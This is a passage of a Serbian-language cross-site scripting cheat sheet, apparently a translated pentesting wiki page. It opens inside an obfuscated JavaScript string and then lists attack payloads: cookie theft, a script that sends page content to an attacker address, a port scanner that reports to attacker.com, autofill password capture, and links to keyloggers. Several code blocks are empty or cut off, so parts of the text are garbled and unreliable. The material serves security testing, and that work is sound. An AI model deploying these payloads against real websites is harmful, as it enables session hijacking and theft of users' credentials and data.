((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_'); ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS uobičajeni payloadi ### Nekoliko payloada u 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Iframe zamka Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite njegove akcije (uključujući informacije poslate u formama): {% content-ref url="../iframe-traps.md" %} [iframe-traps.md](../iframe-traps.md) {% endcontent-ref %} ### Preuzmi kolačiće ```javascript /?c="+document.cookie> ``` {% hint style="info" %} Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly zastavica postavljena u kolačiću. Ali ovde imate [neke načine da zaobiđete ovu zaštitu](../hacking-with-cookies/#httponly) ako imate sreće. {% endhint %} ### Ukradi sadržaj stranice ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Pronađi interne IP adrese ```html ``` ### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Hvatanje lozinki za automatsko popunjavanje ```javascript Username:
Password:
``` Kada se bilo koji podaci unesu u polje za lozinku, korisničko ime i lozinka se šalju na server napadača, čak i ako klijent odabere sačuvanu lozinku i ne unese ništa, akreditivi će biti ex-filtrirani. ### Keylogger Samo pretražujući na github-u, pronašao sam nekoliko različitih: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * Takođe možete koristiti metasploit `http_javascript_keylogger` ### Krađa CSRF tokena ```javascript ``` ### Krađa PostMessage poruka ```markup ``` ### Zloupotreba servisnih radnika {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Pristupanje Shadow DOM-u {% content-ref url="shadow-dom.md" %} [shadow-dom.md](shadow-dom.md) {% endcontent-ref %} ### Poliglot {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Slepe XSS payload-ovi Takođe možete koristiti: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >Click Me For An Awesome Time "> ">